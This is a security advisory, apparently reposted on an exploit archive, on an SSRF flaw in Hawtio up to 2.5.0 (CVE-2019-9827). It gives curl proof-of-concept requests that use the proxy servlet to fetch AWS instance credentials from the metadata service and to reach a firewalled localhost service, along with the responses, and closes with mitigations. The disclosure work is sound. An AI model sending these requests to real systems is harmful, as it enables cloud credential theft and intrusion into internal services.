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Hawtio 2.5.0 Server Side Request Forgery

Hawtio 2.5.0 Server Side Request Forgery
Posted Jul 3, 2019
Authored by CipherTechs | Site ciphertechs.com

Hawtio versions 2.5.0 and below suffer from a server side request forgery vulnerability.

tags | exploit
advisories | CVE-2019-9827
MD5 | 51ed92e4ef9c7a56a98c1af31b6886c1

Hawtio 2.5.0 Server Side Request Forgery

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CipherTechs Inc - Security Advisory

Hawtio Server-Side Request Forgery


Introduction
============
Hawtio (https://hawt.io/) is a modular web console for managing Java.
CipherTechs discovered that Hawtio up to and including version 2.5.0
is vulnerable to unauthenticated Server-Side Request Forgery (SSRF).


CVE
===
CVE-2019-9827


Affected Platforms and Versions
===============================
Product: Hawtio
Version: <= 2.5.0


Vulnerability Overview
======================
Security risk: Medium
Attack Vector: Remote
Vendor Status: Notified


Vulnerability Description
=========================
Hawtio by default allows for any unauthenticated user to visit the proxy servlet page (/hawtio/proxy/).
Appending a destination server onto /proxy/ will forward the request from
the Hawtio server. This can be especially dangerous in AWS environments as
it's possible to request instance Metadata and retrieve sensitive information including access keys.
This vulnerability is also dangerous as it could expose internal
applications which allow connections from the Hawtio server's IP address.


Technical Details
=================
By default, versions >= 1.5.0 have a whitelist which only allow connections to 127.0.0.1.
Although the default whitelist settings prevent an attacker from making a
request to any servers outside of the localhost - an attacker could still
request any internal service on the local Hawtio host.

For any Hawtio versions < 1.5.0 an unauthenticated can use the proxy servlet to make a request to any server.

Hawtio <= 1.4.68 - Obtaining AWS Access Keys via SSRF
-----------------------------------------------------

$ curl -i http://hawtio-target:8080/hawtio/proxy/http://169.254.169.254/latest
/meta-data/identity-credentials
/ec2/security-credentials/ec2-instance
HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
Access-Control-Allow-Origin: *
Content-Type: text/plain
Accept-Ranges: bytes
ETag: "3876041485"
Last-Modified: Thu, 21 Mar 2019 19:36:06 GMT
Content-Length: 1318
Date: Thu, 21 Mar 2019 19:58:45 GMT
Server: EC2ws

{
"Code" : "Success",
"LastUpdated" : "2019-03-21T19:35:50Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "[REDACTED]",
"SecretAccessKey" : "[REDACTED]",
"Token" : "[REDACTED]",
"Expiration" : "2019-03-22T01:38:33Z"

As shown above using the proxy servlet allows any user to obtain AWS metadata information.

Hawtio 2.5.0
------------

$ curl -i http://hawtio-target:8080/hawtio/proxy/http://169.254.169.254/latest
/meta-data/identity-credentials
/ec2/security-credentials/ec2-instance
HTTP/1.1 403 Forbidden
Date: Thu, 21 Mar 2019 20:06:16 GMT
Cache-Control: max-age=0, no-cache, must-revalidate,
proxy-revalidate, private
Pragma: no-cache
Access-Control-Allow-Origin: *
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; script-src 'self'
'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
font-src 'self' data:; connect-src 'self'; frame-src 'self'
Content-Type: application/json
Content-Length: 29
Server: Jetty(9.4.z-SNAPSHOT)

{"reason":"HOST_NOT_ALLOWED"}

That said, an attacker could still access arbitrary internal services and bypass ingress traffic rules on Hawtio 2.5.0.
A demonstration can be found below.

hawtio$ sudo ufw status numbered
Status: active

To Action From
-- ------ ----
[ 1] 8080 ALLOW IN Anywhere
[ 2] 127.0.0.1 80/tcp ALLOW IN 127.0.0.1
[ 3] 22/tcp ALLOW IN Anywhere

$ curl -i http://hawtio-target/test.txt
curl: (7) Failed to connect to hawtio-target port 80:
Connection refused

$ curl -i http://hawtio-target:8080/hawtio/proxy/http://127.0.0.1/test.txt
HTTP/1.1 200 OK
Date: Thu, 21 Mar 2019 20:18:34 GMT
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, private
Pragma: no-cache
Access-Control-Allow-Origin: *
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'; script-src 'self'
'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';
font-src 'self' data:; connect-src 'self'; frame-src 'self'
Server: SimpleHTTP/0.6 Python/2.7.13
Date: Thu, 21 Mar 2019 20:18:34 GMT
Content-Type: text/plain
Last-Modified: Thu, 21 Mar 2019 20:07:34 GMT
Content-Length: 11

Secrets...

Recommendations
===============
Upgrade to at Hawtio >=-1.5.0 to prevent SSRF from accessing arbitrary URLs. Services listening on localhost can still
be accessed through SSRF exploitation in versions > 1.5.0 so CipherTechs recommends disabling the proxy servlet
entirely. CipherTechs did not exhaustively test Hawtio so it is still not recommended to expose this developer tool on
the Internet.

In terms of protecting AWS data, a daemon developed by Netflix-Skunkworks can be implemented to block
all connections to AWS metadata (169.254.169.254). Only a designated user who runs the proxy daemon can access the
metadata service. CipherTechs published a blog post to
implement this solution here: https://www.ciphertechs.com/protecting-aws-metadata-from-zero-day-ssrf-attacks/

Timeline
========
2019.02.25 - Vulnerability Discovered by CipherTechs
2019.03.27 - Redhat Notified
2019.06.27 - 90 day disclosure date


The contents of this advisory are Copyright(c) 2019 CipherTechs Inc.

=====================================================================================

About CipherTechs CipherTechs is a global Cyber Security service provider
founded in 2001 that remains privately held with headquarters in New York
City. CipherTechs is exclusively focused on cyber security and provide a
full service solution portfolio. We service our customers through the
following main practice areas: Offensive Security, Defensive Security,
MSSP and SOC, Audit and Compliance, Training and Product Procurement.
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